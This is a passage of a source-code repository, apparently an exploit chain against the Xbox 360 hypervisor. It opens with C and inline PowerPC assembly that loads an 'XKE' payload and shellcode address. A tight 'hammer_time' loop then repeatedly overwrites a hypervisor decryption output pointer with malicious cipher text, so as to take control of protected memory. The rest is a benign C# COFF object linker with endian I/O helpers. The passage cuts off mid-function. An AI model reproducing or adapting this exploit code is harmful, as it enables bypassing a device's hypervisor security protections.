(UPDATE_BUFFER_INFO*)pUpdateData; 725 | pUpdateInfo->TotalSize = UpdateDataSize; 726 | pUpdateInfo->InfoSize = CACHE_LINE_SIZE; 727 | pUpdateInfo->UpdateDataOffset = CACHE_LINE_SIZE; 728 | pUpdateInfo->UpdateDataSize = CACHE_ALIGN(CleanUpdateDataSize); 729 | pUpdateInfo->OutputBufferOffset = PAGE_ALIGN_64K(pUpdateInfo->UpdateDataOffset + pUpdateInfo->UpdateDataSize); 730 | pUpdateInfo->OutputBufferSize = CACHE_ALIGN(updateDataDecompressedSize); 731 | pUpdateInfo->ScratchBufferOffset = CACHE_ALIGN(pUpdateInfo->OutputBufferOffset + pUpdateInfo->OutputBufferSize); 732 | pUpdateInfo->ScratchBufferSize = 0x20000; 733 | pUpdateInfo->Buffer2Offset = CACHE_ALIGN(pUpdateInfo->ScratchBufferOffset + pUpdateInfo->ScratchBufferSize); 734 | pUpdateInfo->Buffer2Size = 0x10000; 735 | 736 | // Allocate memory for the XKE payload. 737 | BYTE* pPayload = (BYTE*)XPhysicalAlloc(PayloadDataSize, MAXULONG_PTR, 0x10000, PAGE_READWRITE | PAGE_NOCACHE); 738 | if (pPayload == NULL) 739 | { 740 | DbgPrint("Failed to allocate payload memory\n"); 741 | DbgBreakPoint(); 742 | VdDisplayFatalError(0x12400 | ERR_XKE_OOM_1); 743 | return; 744 | } 745 | 746 | BYTE* pPayloadClean = (BYTE*)XPhysicalAlloc(PayloadDataSize, MAXULONG_PTR, 0, PAGE_READWRITE); 747 | if (pPayloadClean == NULL) 748 | { 749 | DbgPrint("Failed to allocate clean payload memory\n"); 750 | DbgBreakPoint(); 751 | VdDisplayFatalError(0x12400 | ERR_XKE_OOM_2); 752 | return; 753 | } 754 | 755 | memset(pPayload, 0, PayloadDataSize); 756 | memset(pPayloadClean, 0, PayloadDataSize); 757 | 758 | // Read the payload file. 759 | if (ReadFile(PAYLOAD_DRIVE "\\xke_update.bin", pPayloadClean, 0, PayloadDataSize) == false) 760 | { 761 | DbgPrint("Failed to read XKE payload file\n"); 762 | DbgBreakPoint(); 763 | VdDisplayFatalError(0x12400 | ERR_READING_XKE_PAYLOAD_FILE); 764 | return; 765 | } 766 | 767 | // Setup thread args. 768 | ThreadArgs.UpdateDataPhys = MmGetPhysicalAddress(pUpdateData); 769 | ThreadArgs.UpdateDataSize = pUpdateInfo->TotalSize; 770 | ThreadArgs.pPayloadClean = pPayloadClean; 771 | ThreadArgs.pPayloadBuffer = pPayload; 772 | ThreadArgs.PayloadPhys = MmGetPhysicalAddress(pPayload); 773 | ThreadArgs.PayloadSize = PayloadDataSize; 774 | ThreadArgs.pCompressedDataClean = pCleanUpdateData; 775 | ThreadArgs.CompressedDataSize = CleanUpdateDataSize; 776 | ThreadArgs.pCompressedDataInBuffer = pUpdateData + pUpdateInfo->UpdateDataOffset; 777 | ThreadArgs.pScratchDataInBuffer = pUpdateData + pUpdateInfo->ScratchBufferOffset; 778 | ThreadArgs.ScratchDataOffset = pUpdateInfo->ScratchBufferOffset; 779 | ThreadArgs.ScratchDataSize = pUpdateInfo->ScratchBufferSize; 780 | 781 | ThreadArgs.HvCheckAddress = pCipherTextInputData->dec_output_buffer; 782 | ThreadArgs.ShellCodePhysAddress = ShellCodePhys; 783 | 784 | // Save the scratch pointer, we can't access pUpdateInfo from here on out because it'll be moved to protected memory by the hv. 785 | BYTE* pScratchPtr = pUpdateData + pUpdateInfo->ScratchBufferOffset; 786 | 787 | ThreadArgs.pScratchBuffer = pScratchPtr; 788 | 789 | // Create the worker threads. 790 | HANDLE hXKEWorkerThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RunUpdatePayloadThreadProc, &ThreadArgs, CREATE_SUSPENDED, NULL); 791 | if (hXKEWorkerThread == NULL) 792 | { 793 | DbgPrint("Failed to create worker thread\n"); 794 | DbgBreakPoint(); 795 | VdDisplayFatalError(0x12400 | ERR_CREATING_WORKER_THREAD); 796 | return; 797 | } 798 | 799 | // Move the XKE worker to the last physical core. 800 | DWORD dfsddf = XSetThreadProcessor(hXKEWorkerThread, 1); 801 | ResumeThread(hXKEWorkerThread); 802 | 803 | hammer_time: 804 | 805 | // Preload values for the oracle and malicious cipher text used in the attack loop. 806 | ULONGLONG ScratchCipherTextValue = *(ULONGLONG*)&pCipherTextInputData->OracleData[0]; 807 | ULONGLONG DecOutputBufferDataVal1 = *(ULONGLONG*)&pCipherTextInputData->DecOutputBufferData[0]; 808 | ULONGLONG DecOutputBufferDataVal2 = *(ULONGLONG*)&pCipherTextInputData->DecOutputBufferData[8]; 809 | 810 | int loopCount = 100000; 811 | 812 | #ifdef STATIC_WHITENING 813 | 814 | while (true) 815 | { 816 | *(ULONGLONG*)(pScratchPtr + 0x2B20) = DecOutputBufferDataVal1; 817 | *(ULONGLONG*)(pScratchPtr + 0x2B28) = DecOutputBufferDataVal2; 818 | __dcbst(0x2B20, pScratchPtr); 819 | } 820 | 821 | #endif 822 | 823 | 824 | _asm 825 | { 826 | // Preload registers with all the data we'll need during the attack loop. We want to minimize 827 | // any additional operations done to make the loop as tight as possible. 828 | mr r31, pScratchPtr 829 | mr r30, ScratchCipherTextValue 830 | mr r29, DecOutputBufferDataVal1 831 | mr r28, DecOutputBufferDataVal2 832 | addi r26, r31, 0x2B00 833 | mr r25, loopCount 834 | 835 | loop: 836 | // Check the cipher text in the scratch buffer and see if it matches the oracle data we computed. 837 | ld r11, 0(r31) 838 | cmpld cr6, r11, r30 839 | bne cr6, flush 840 | 841 | // Cipher text matches the oracle data, begin the attack and hammer the dec_output_buffer pointer 842 | // with the cipher text for our malicious pointer. 843 | mtctr r25 844 | 845 | overwrite: 846 | std r29, 0x20(r26) 847 | std r28, 0x28(r26) 848 | dcbst r0, r26 849 | bdnz overwrite 850 | 851 | flush: 852 | 853 | // Flush cache on the scratch buffer so the next time we check the cipher text we fetch the data from main memory. 854 | dcbf r0, r31 855 | b loop 856 | end: 857 | } 858 | 859 | // Should never make it here. 860 | DbgBreakPoint(); 861 | } -------------------------------------------------------------------------------- /Stage3/ObjLink/ObjLink.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33213.308 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ObjLink", "ObjLink\ObjLink.csproj", "{A07202E9-2BDF-468E-8711-6A0A77BB2E70}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {A07202E9-2BDF-468E-8711-6A0A77BB2E70}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {A07202E9-2BDF-468E-8711-6A0A77BB2E70}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {A07202E9-2BDF-468E-8711-6A0A77BB2E70}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {A07202E9-2BDF-468E-8711-6A0A77BB2E70}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {B75FF56A-392B-4EE5-BF78-18FABACA1EC7} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Stage3/ObjLink/ObjLink/CommandLine.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace ObjLink 8 | { 9 | /// 10 | /// Provides utilities to parse and scan a command line array. 11 | /// 12 | public class CommandLine 13 | { 14 | private string[] commandLine; 15 | /// 16 | /// Gets the command line arguments. 17 | /// 18 | public string[] CommandLineArgs { get { return commandLine; } } 19 | 20 | /// 21 | /// Creates a new CommandLine object using the specified command line argument array. 22 | /// 23 | /// Command line argument array. 24 | public CommandLine(string[] args) 25 | { 26 | // Save command line args. 27 | this.commandLine = args; 28 | } 29 | 30 | /// 31 | /// Searches the command line arguments for an option variable. 32 | /// 33 | /// Option variable to search for. 34 | /// Boolean indicating the option name is case sensitive. 35 | /// True if the command line contains the specified option, false otherwise. 36 | public bool FindOption(string option, bool isCaseSensitive) 37 | { 38 | // Loop through the command line args. 39 | for (int i = 0; i < commandLine.Length; i++) 40 | { 41 | // Check if the strings match. 42 | if ((isCaseSensitive == true && option.Equals(commandLine[i], StringComparison.Ordinal)) || 43 | (isCaseSensitive == false && option.Equals(commandLine[i], StringComparison.OrdinalIgnoreCase))) 44 | return true; 45 | } 46 | 47 | // Option was not found in the command line array. 48 | return false; 49 | } 50 | 51 | /// 52 | /// Searches the command line arguments for the specified key value. 53 | /// 54 | /// Key value to search for. 55 | /// Boolean indicating the key name is case sensitive. 56 | /// True if the command line contains the specified key, false otherwise. 57 | public bool IsKeyPresent(string key, bool isCaseSensitive) 58 | { 59 | // Loop through the command line args. 60 | for (int i = 0; i < commandLine.Length; i++) 61 | { 62 | // Check if the strings match. 63 | if ((isCaseSensitive == true && key.Equals(commandLine[i], StringComparison.Ordinal)) || 64 | (isCaseSensitive == false && key.Equals(commandLine[i], StringComparison.OrdinalIgnoreCase))) 65 | return true; 66 | } 67 | 68 | // Key was not found in the command line array. 69 | return false; 70 | } 71 | 72 | /// 73 | /// Gets the value for the specified key in the command line arguments. 74 | /// 75 | /// Key value to search for. 76 | /// Boolean indicating the key name is case sensitive. 77 | /// The value of the key if the key and value exist, else the return value is null. 78 | public string GetKeyValue(string key, bool isCaseSensitive) 79 | { 80 | // Loop through the command line args. 81 | for (int i = 0; i < commandLine.Length; i++) 82 | { 83 | // Check if the strings match. 84 | if ((isCaseSensitive == true && key.Equals(commandLine[i], StringComparison.Ordinal)) || 85 | (isCaseSensitive == false && key.Equals(commandLine[i], StringComparison.OrdinalIgnoreCase))) 86 | { 87 | // Check if there is another command line argument. 88 | if (i == commandLine.Length - 1) 89 | return null; 90 | 91 | // Return the key value. 92 | return commandLine[i + 1]; 93 | } 94 | } 95 | 96 | // Key was not found in the command line array. 97 | return null; 98 | } 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /Stage3/ObjLink/ObjLink/IO/EndianReader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.IO; 6 | 7 | namespace IO 8 | { 9 | public class EndianReader : BinaryReader 10 | { 11 | #region Fields 12 | 13 | public Endianness Endian { get; set; } 14 | 15 | #endregion 16 | 17 | #region Constructors 18 | 19 | public EndianReader(Stream stream) : base(stream) 20 | { 21 | // Default to little endian. 22 | this.Endian = Endianness.Little; 23 | } 24 | 25 | public EndianReader(Endianness Endian, Stream Input) 26 | : base(Input) 27 | { 28 | this.Endian = Endian; 29 | } 30 | 31 | public EndianReader(Endianness Endian, Stream input, Encoding encoding) 32 | : base(input, encoding) 33 | { 34 | this.Endian = Endian; 35 | } 36 | 37 | #endregion 38 | 39 | #region Methods 40 | 41 | public override double ReadDouble() 42 | { 43 | return ReadDouble(this.Endian); 44 | } 45 | 46 | public double ReadDouble(Endianness Endian) 47 | { 48 | // Get Bytes 49 | byte[] Data = base.ReadBytes(8); 50 | 51 | // Reverse 52 | if (Endian == Endianness.Big) 53 | Array.Reverse(Data); 54 | 55 | // Return 56 | return BitConverter.ToDouble(Data, 0); 57 | } 58 | 59 | public override short ReadInt16() 60 | { 61 | return ReadInt16(this.Endian); 62 | } 63 | 64 | public short ReadInt16(Endianness Endian) 65 | { 66 | // Get Bytes 67 | byte[] Data = base.ReadBytes(2); 68 | 69 | // Reverse 70 | if (Endian == Endianness.Big) 71 | Array.Reverse(Data); 72 | 73 | // Return 74 | return BitConverter.ToInt16(Data, 0); 75 | } 76 | 77 | public override int ReadInt32() 78 | { 79 | return ReadInt32(this.Endian); 80 | } 81 | 82 | public int ReadInt32(Endianness Endian) 83 | { 84 | // Get Bytes 85 | byte[] Data = base.ReadBytes(4); 86 | 87 | // Reverse 88 | if (Endian == Endianness.Big) 89 | Array.Reverse(Data); 90 | 91 | // Return 92 | return BitConverter.ToInt32(Data, 0); 93 | } 94 | 95 | public override long ReadInt64() 96 | { 97 | return ReadInt64(this.Endian); 98 | } 99 | 100 | public long ReadInt64(Endianness Endian) 101 | { 102 | // Get Bytes 103 | byte[] Data = base.ReadBytes(8); 104 | 105 | // Reverse 106 | if (Endian == Endianness.Big) 107 | Array.Reverse(Data); 108 | 109 | // Return 110 | return BitConverter.ToInt64(Data, 0); 111 | } 112 | 113 | public override float ReadSingle() 114 | { 115 | return ReadSingle(this.Endian); 116 | } 117 | 118 | public float ReadSingle(Endianness Endian) 119 | { 120 | // Get Bytes 121 | byte[] Data = base.ReadBytes(4); 122 | 123 | // Reverse 124 | if (Endian == Endianness.Big) 125 | Array.Reverse(Data); 126 | 127 | // Return 128 | return BitConverter.ToSingle(Data, 0); 129 | } 130 | 131 | public string ReadUnicodeString(int Length) 132 | { 133 | return ReadUnicodeString(this.Endian, Length); 134 | } 135 | 136 | public string ReadUnicodeString(Endianness Endian, int Length) 137 | { 138 | // Get Bytes 139 | string val = ""; 140 | 141 | // Convert To String 142 | for (int i = 0; i < Length; i++) 143 | { 144 | // Get Char 145 | byte c = 0; 146 | 147 | // Endianness 148 | if (Endian == Endianness.Little) 149 | { 150 | c = base.ReadByte(); 151 | base.BaseStream.Position++; 152 | } 153 | else 154 | { 155 | base.BaseStream.Position++; 156 | c = base.ReadByte(); 157 | } 158 | 159 | // Convert To Char 160 | val += Convert.ToChar(c); 161 | } 162 | 163 | // Return 164 | return val; 165 | } 166 | 167 | public string ReadNullTerminatingString() 168 | { 169 | // Temp Place Holders 170 | string temp = ""; 171 | byte c; 172 | 173 | // Read String 174 | while ((c = base.ReadByte()) != 0x00) 175 | temp += Convert.ToChar(c); 176 | 177 | // Return 178 | return temp; 179 | } 180 | 181 | public override ushort ReadUInt16() 182 | { 183 | return ReadUInt16(this.Endian); 184 | } 185 | 186 | public ushort ReadUInt16(Endianness Endian) 187 | { 188 | // Get Bytes 189 | byte[] Data = base.ReadBytes(2); 190 | 191 | // Reverse 192 | if (Endian == Endianness.Big) 193 | Array.Reverse(Data); 194 | 195 | // Return 196 | return BitConverter.ToUInt16(Data, 0); 197 | } 198 | 199 | public override uint ReadUInt32() 200 | { 201 | return ReadUInt32(this.Endian); 202 | } 203 | 204 | public uint ReadUInt32(Endianness Endian) 205 | { 206 | // Get Bytes 207 | byte[] Data = base.ReadBytes(4); 208 | 209 | // Reverse 210 | if (Endian == Endianness.Big) 211 | Array.Reverse(Data); 212 | 213 | // Return 214 | return BitConverter.ToUInt32(Data, 0); 215 | } 216 | 217 | public override ulong ReadUInt64() 218 | { 219 | return ReadUInt64(this.Endian); 220 | } 221 | 222 | public ulong ReadUInt64(Endianness Endian) 223 | { 224 | // Get Bytes 225 | byte[] Data = base.ReadBytes(8); 226 | 227 | // Reverse 228 | if (Endian == Endianness.Big) 229 | Array.Reverse(Data); 230 | 231 | // Return 232 | return BitConverter.ToUInt64(Data, 0); 233 | } 234 | 235 | #endregion 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /Stage3/ObjLink/ObjLink/IO/EndianWriter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.IO; 6 | 7 | namespace IO 8 | { 9 | public class EndianWriter : BinaryWriter 10 | { 11 | #region Fields 12 | 13 | public Endianness Endian { get; set; } 14 | 15 | #endregion 16 | 17 | #region Constructor 18 | 19 | public EndianWriter(Stream stream) : base(stream) 20 | { 21 | // Default to little endian. 22 | this.Endian = Endianness.Little; 23 | } 24 | 25 | public EndianWriter(Endianness Endian, Stream Output) 26 | : base(Output) 27 | { 28 | this.Endian = Endian; 29 | } 30 | 31 | public EndianWriter(Endianness Endian, Stream output, Encoding encoding) 32 | : base(output, encoding) 33 | { 34 | this.Endian = Endian; 35 | } 36 | 37 | #endregion 38 | 39 | #region Methods 40 | 41 | public override void Write(double value) 42 | { 43 | Write(Endian, value); 44 | } 45 | 46 | public void Write(Endianness Endian, double value) 47 | { 48 | // Get Bytes 49 | byte[] Data = BitConverter.GetBytes(value); 50 | 51 | // Endian Swap 52 | if (Endian == Endianness.Big) 53 | Array.Reverse(Data); 54 | 55 | // Write 56 | base.Write(Data); 57 | } 58 | 59 | public override void Write(float value) 60 | { 61 | Write(Endian, value); 62 | } 63 | 64 | public void Write(Endianness Endian, float value) 65 | { 66 | // Get Bytes 67 | byte[] Data = BitConverter.GetBytes(value); 68 | 69 | // Endian Swap 70 | if (Endian == Endianness.Big) 71 | Array.Reverse(Data); 72 | 73 | // Write 74 | base.Write(Data); 75 | } 76 | 77 | public override void Write(int value) 78 | { 79 | Write(Endian, value); 80 | } 81 | 82 | public void Write(Endianness Endian, int value) 83 | { 84 | // Get Bytes 85 | byte[] Data = BitConverter.GetBytes(value); 86 | 87 | // Endian Swap 88 | if (Endian == Endianness.Big) 89 | Array.Reverse(Data); 90 | 91 | // Write 92 | base.Write(Data); 93 | } 94 | 95 | public override void Write(long value) 96 | { 97 | Write(Endian, value); 98 | } 99 | 100 | public void Write(Endianness Endian, long value) 101 | { 102 | // Get Bytes 103 | byte[] Data = BitConverter.GetBytes(value); 104 | 105 | // Endian Swap 106 | if (Endian == Endianness.Big) 107 | Array.Reverse(Data); 108 | 109 | // Write 110 | base.Write(Data); 111 | } 112 | 113 | public override void Write(short value) 114 | { 115 | Write(Endian, value); 116 | } 117 | 118 | public void Write(Endianness Endian, short value) 119 | { 120 | // Get Bytes 121 | byte[] Data = BitConverter.GetBytes(value); 122 | 123 | // Endian Swap 124 | if (Endian == Endianness.Big) 125 | Array.Reverse(Data); 126 | 127 | // Write 128 | base.Write(Data); 129 | } 130 | 131 | public override void Write(uint value) 132 | { 133 | Write(Endian, value); 134 | } 135 | 136 | public void Write(Endianness Endian, uint value) 137 | { 138 | // Get Bytes 139 | byte[] Data = BitConverter.GetBytes(value); 140 | 141 | // Endian Swap 142 | if (Endian == Endianness.Big) 143 | Array.Reverse(Data); 144 | 145 | // Write 146 | base.Write(Data); 147 | } 148 | 149 | public override void Write(ulong value) 150 | { 151 | Write(Endian, value); 152 | } 153 | 154 | public void Write(Endianness Endian, ulong value) 155 | { 156 | // Get Bytes 157 | byte[] Data = BitConverter.GetBytes(value); 158 | 159 | // Endian Swap 160 | if (Endian == Endianness.Big) 161 | Array.Reverse(Data); 162 | 163 | // Write 164 | base.Write(Data); 165 | } 166 | 167 | public override void Write(ushort value) 168 | { 169 | Write(Endian, value); 170 | } 171 | 172 | public void Write(Endianness Endian, ushort value) 173 | { 174 | // Get Bytes 175 | byte[] Data = BitConverter.GetBytes(value); 176 | 177 | // Endian Swap 178 | if (Endian == Endianness.Big) 179 | Array.Reverse(Data); 180 | 181 | // Write 182 | base.Write(Data); 183 | } 184 | 185 | public void WriteNullTerminatingString(string Value) 186 | { 187 | WriteNullTerminatingString(Value, Value.Length + 1); 188 | } 189 | 190 | public void WriteNullTerminatingString(string Value, int MaxLength) 191 | { 192 | // Write String 193 | base.Write(Value.ToCharArray()); 194 | 195 | // Write Padding 196 | base.Write(new byte[MaxLength - Value.Length]); 197 | } 198 | 199 | public void WriteUnicodeString(string Value, int MaxLength) 200 | { 201 | WriteUnicodeString(Endian, Value, MaxLength); 202 | } 203 | 204 | public void WriteUnicodeString(Endianness Endian, string Value, int MaxLength) 205 | { 206 | // Write Unicode String 207 | for (int i = 0; i < Value.Length; i++) 208 | { 209 | // Endian Swap 210 | if (Endian == Endianness.Big) 211 | { 212 | base.Write((byte)0); 213 | base.Write(Value[i]); 214 | } 215 | else 216 | { 217 | base.Write(Value[i]); 218 | base.Write((byte)0); 219 | } 220 | } 221 | 222 | // Write Padding 223 | base.Write(new byte[(MaxLength - Value.Length) * 2]); 224 | } 225 | 226 | public void AlignToBoundary(int alignment) 227 | { 228 | AlignToBoundary(alignment, 0x00); 229 | } 230 | 231 | public void AlignToBoundary(int alignment, byte value) 232 | { 233 | // Compute the padding size. 234 | int padding = alignment - ((int)base.BaseStream.Position % alignment); 235 | 236 | // Check if it is necessary to write any padding. 237 | if (padding != alignment) 238 | { 239 | // Write padding to stream. 240 | for (int i = 0; i < padding; i++) 241 | Write(value); 242 | } 243 | } 244 | 245 | public void WritePadding(int size, byte fill = 0x00) 246 | { 247 | // Write padding for the specified size. 248 | for (int i = 0; i < size; i++) 249 | Write(fill); 250 | } 251 | 252 | #endregion 253 | } 254 | } 255 | -------------------------------------------------------------------------------- /Stage3/ObjLink/ObjLink/IO/Endianness.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace IO 7 | { 8 | public enum Endianness 9 | { 10 | Little, 11 | Big 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /Stage3/ObjLink/ObjLink/ObjLink.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | net6.0 6 | enable 7 | enable 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /Stage3/ObjLink/ObjLink/Program.cs: -------------------------------------------------------------------------------- 1 | using IO; 2 | using System.Diagnostics; 3 | using System.Text; 4 | 5 | namespace ObjLink 6 | { 7 | class COFF_FILE_HEADER 8 | { 9 | /* 0x00 */ public ushort Machine; 10 | /* 0x02 */ public ushort NumberOfSections; 11 | /* 0x04 */ public uint TimeDateStamp; 12 | /* 0x08 */ public int PointerToSymbolTable; 13 | /* 0x0C */ public int NumberOfSymbols; 14 | /* 0x10 */ public ushort SizeOfOptionalHeader; 15 | /* 0x12 */ public ushort Characteristics; 16 | } 17 | 18 | class SECTION_TABLE_ENTRY 19 | { 20 | /* 0x00 */ public char[] Name; 21 | /* 0x08 */ public uint VirtualSize; 22 | /* 0x0C */ public uint VirtualAddress; 23 | /* 0x10 */ public int SizeOfRawData; 24 | /* 0x14 */ public int PointerToRawData; 25 | /* 0x18 */ public int PointerToRelocations; 26 | /* 0x1C */ public int PointerToLineNumbers; 27 | /* 0x20 */ public short NumberOfRelocations; 28 | /* 0x22 */ public short NumberOfLineNumbers; 29 | /* 0x24 */ public int Characteristics; 30 | 31 | public List Relocations = new List(); 32 | 33 | public string GetNameClean() 34 | { 35 | return new string(this.Name).Trim('\0'); 36 | } 37 | } 38 | 39 | class COFF_RELOCATION 40 | { 41 | /* 0x00 */ public int VirtualAddress; 42 | /* 0x04 */ public int SymbolTableIndex; 43 | /* 0x08 */ public short Type; 44 | } 45 | 46 | class SYMBOL_TABLE_ENTRY 47 | { 48 | /* 0x00 */ public byte[] Name; 49 | /* 0x08 */ public int Value; 50 | /* 0x0C */ public short SectionNumber; // 1-based index!!!! 51 | /* 0x0E */ public short Type; 52 | /* 0x10 */ public byte StorageClass; 53 | /* 0x11 */ public byte NumberOfAuxSymbols; 54 | 55 | public byte[] AuxSymbolData; 56 | 57 | public string GetNameClean() 58 | { 59 | return Encoding.UTF8.GetString(this.Name).Trim('\0'); 60 | } 61 | } 62 | 63 | internal class Program 64 | { 65 | static byte[] SaveGprCode = new byte[] 66 | { 67 | 0xF9, 0xC1, 0xFF, 0x68, 0xF9, 0xE1, 0xFF, 0x70, 0xFA, 0x01, 0xFF, 0x78, 0xFA, 0x21, 0xFF, 0x80, 68 | 0xFA, 0x41, 0xFF, 0x88, 0xFA, 0x61, 0xFF, 0x90, 0xFA, 0x81, 0xFF, 0x98, 0xFA, 0xA1, 0xFF, 0xA0, 69 | 0xFA, 0xC1, 0xFF, 0xA8, 0xFA, 0xE1, 0xFF, 0xB0, 0xFB, 0x01, 0xFF, 0xB8, 0xFB, 0x21, 0xFF, 0xC0, 70 | 0xFB, 0x41, 0xFF, 0xC8, 0xFB, 0x61, 0xFF, 0xD0, 0xFB, 0x81, 0xFF, 0xD8, 0xFB, 0xA1, 0xFF, 0xE0, 71 | 0xFB, 0xC1, 0xFF, 0xE8, 0xFB, 0xE1, 0xFF, 0xF0, 0x91, 0x81, 0xFF, 0xF8, 0x4E, 0x80, 0x00, 0x20 72 | }; 73 | 74 | static byte[] RestoreGprCode = new byte[] 75 | { 76 | 0xE9, 0xC1, 0xFF, 0x68, 0xE9, 0xE1, 0xFF, 0x70, 0xEA, 0x01, 0xFF, 0x78, 0xEA, 0x21, 0xFF, 0x80, 77 | 0xEA, 0x41, 0xFF, 0x88, 0xEA, 0x61, 0xFF, 0x90, 0xEA, 0x81, 0xFF, 0x98, 0xEA, 0xA1, 0xFF, 0xA0, 78 | 0xEA, 0xC1, 0xFF, 0xA8, 0xEA, 0xE1, 0xFF, 0xB0, 0xEB, 0x01, 0xFF, 0xB8, 0xEB, 0x21, 0xFF, 0xC0, 79 | 0xEB, 0x41, 0xFF, 0xC8, 0xEB, 0x61, 0xFF, 0xD0, 0xEB, 0x81, 0xFF, 0xD8, 0xEB, 0xA1, 0xFF, 0xE0, 80 | 0xEB, 0xC1, 0xFF, 0xE8, 0xEB, 0xE1, 0xFF, 0xF0, 0x81, 0x81, 0xFF, 0xF8, 0x7D, 0x88, 0x03, 0xA6, 81 | 0x4E, 0x80, 0x00, 0x20 82 | }; 83 | 84 | static int AlignmentIntervalFromSectionCharacteristics(int characteristics) 85 | { 86 | int alignment = 4; 87 | 88 | (int flag, int alignment)[] AlignmentFlagOptions = new (int flag, int alignment)[] 89 | { 90 | (0x00000000, 0), 91 | (0x00100000, 1), 92 | (0x00200000, 2), 93 | (0x00300000, 4), 94 | (0x00400000, 8), 95 | (0x00500000, 16), 96 | (0x00600000, 32), 97 | (0x00700000, 64), 98 | (0x00800000, 128), 99 | (0x00900000, 256), 100 | (0x00A00000, 512), 101 | (0x00B00000, 1024), 102 | (0x00C00000, 2048), 103 | (0x00D00000, 4096), 104 | (0x00E00000, 8192) 105 | }; 106 | 107 | // Get the alignment interval from the characteristic flags. 108 | int alignmentIndex = (characteristics >> 20) & 0xF; 109 | if (alignmentIndex > 0 && alignmentIndex < AlignmentFlagOptions.Length) 110 | alignment = AlignmentFlagOptions[alignmentIndex].alignment; 111 | 112 | return alignment; 113 | } 114 | 115 | static void Main(string[] args) 116 | { 117 | // Print version info. 118 | Console.WriteLine("ObjLink v0.1"); 119 | Console.WriteLine(); 120 | 121 | // Check if the correct number of arguments have been provided. 122 | if (args.Length < 4) 123 | { 124 | // Print use. 125 | Console.WriteLine("Use: ObjLink.exe [options]"); 126 | Console.WriteLine(" Object file to link"); 127 | Console.WriteLine(" Output file path"); 128 | Console.WriteLine(" Entrypoint function name"); 129 | Console.WriteLine(" Base address for output file, must be in base-16"); 130 | Console.WriteLine(); 131 | Console.WriteLine("Optional:"); 132 | Console.WriteLine(" --sym File containing external symbol information"); 133 | 134 | return; 135 | } 136 | 137 | // Parse command line options. 138 | CommandLine cmd = new CommandLine(args); 139 | string objFilePath = args[0]; 140 | string outputFilePath = args[1]; 141 | string entryPointName = args[2]; 142 | uint baseAddress = uint.Parse(args[3], System.Globalization.NumberStyles.HexNumber); 143 | string symbolFilePath = cmd.GetKeyValue("--sym", false); 144 | 145 | // Dictionary of external symbols and their address. 146 | Dictionary ExternalSymbolLookupTable = new Dictionary(); 147 | 148 | // Parse the symbol file if it was specified. 149 | if (symbolFilePath != null) 150 | { 151 | // Read all the entries from the symbol file and parse each one. 152 | string[] symbolFileEntries = File.ReadAllLines(symbolFilePath); 153 | for (int i = 0; i < symbolFileEntries.Length; i++) 154 | { 155 | string[] pieces = symbolFileEntries[i].Split('='); 156 | string symbolName = pieces[0].Trim(); 157 | uint symbolAddress = Convert.ToUInt32(pieces[1].Replace(";", "").Trim(), 16); 158 | 159 | // Add the symbol to the lookup dictionary. 160 | ExternalSymbolLookupTable.Add(symbolName, symbolAddress); 161 | } 162 | } 163 | 164 | // Open the object file for reading. 165 | EndianReader reader = new EndianReader(Endianness.Little, new FileStream(objFilePath, FileMode.Open, FileAccess.Read, FileShare.Read)); 166 | 167 | // Parse the COFF file header. 168 | COFF_FILE_HEADER coffHeader = new COFF_FILE_HEADER(); 169 | coffHeader.Machine = reader.ReadUInt16(); 170 | coffHeader.NumberOfSections = reader.ReadUInt16(); 171 | coffHeader.TimeDateStamp = reader.ReadUInt32(); 172 | coffHeader.PointerToSymbolTable = reader.ReadInt32(); 173 | coffHeader.NumberOfSymbols = reader.ReadInt32(); 174 | coffHeader.SizeOfOptionalHeader = reader.ReadUInt16(); 175 | coffHeader.Characteristics = reader.ReadUInt16(); 176 | 177 | // Loop and read all the section headers. 178 | List sectionHeaders = new List(); 179 | for (int i = 0; i < coffHeader.NumberOfSections; i++) 180 | { 181 | SECTION_TABLE_ENTRY sectionHdr = new SECTION_TABLE_ENTRY(); 182 | sectionHdr.Name = reader.ReadChars(8); 183 | sectionHdr.VirtualSize = reader.ReadUInt32(); 184 | sectionHdr.VirtualAddress = reader.ReadUInt32(); 185 | sectionHdr.SizeOfRawData = reader.ReadInt32(); 186 | sectionHdr.PointerToRawData = reader.ReadInt32(); 187 | sectionHdr.PointerToRelocations = reader.ReadInt32(); 188 | sectionHdr.PointerToLineNumbers = reader.ReadInt32(); 189 | sectionHdr.NumberOfRelocations = reader.ReadInt16(); 190 | sectionHdr.NumberOfLineNumbers = reader.ReadInt16(); 191 | sectionHdr.Characteristics = reader.ReadInt32(); 192 | 193 | // Save the current position in the section table. 194 | long position = reader.BaseStream.Position; 195 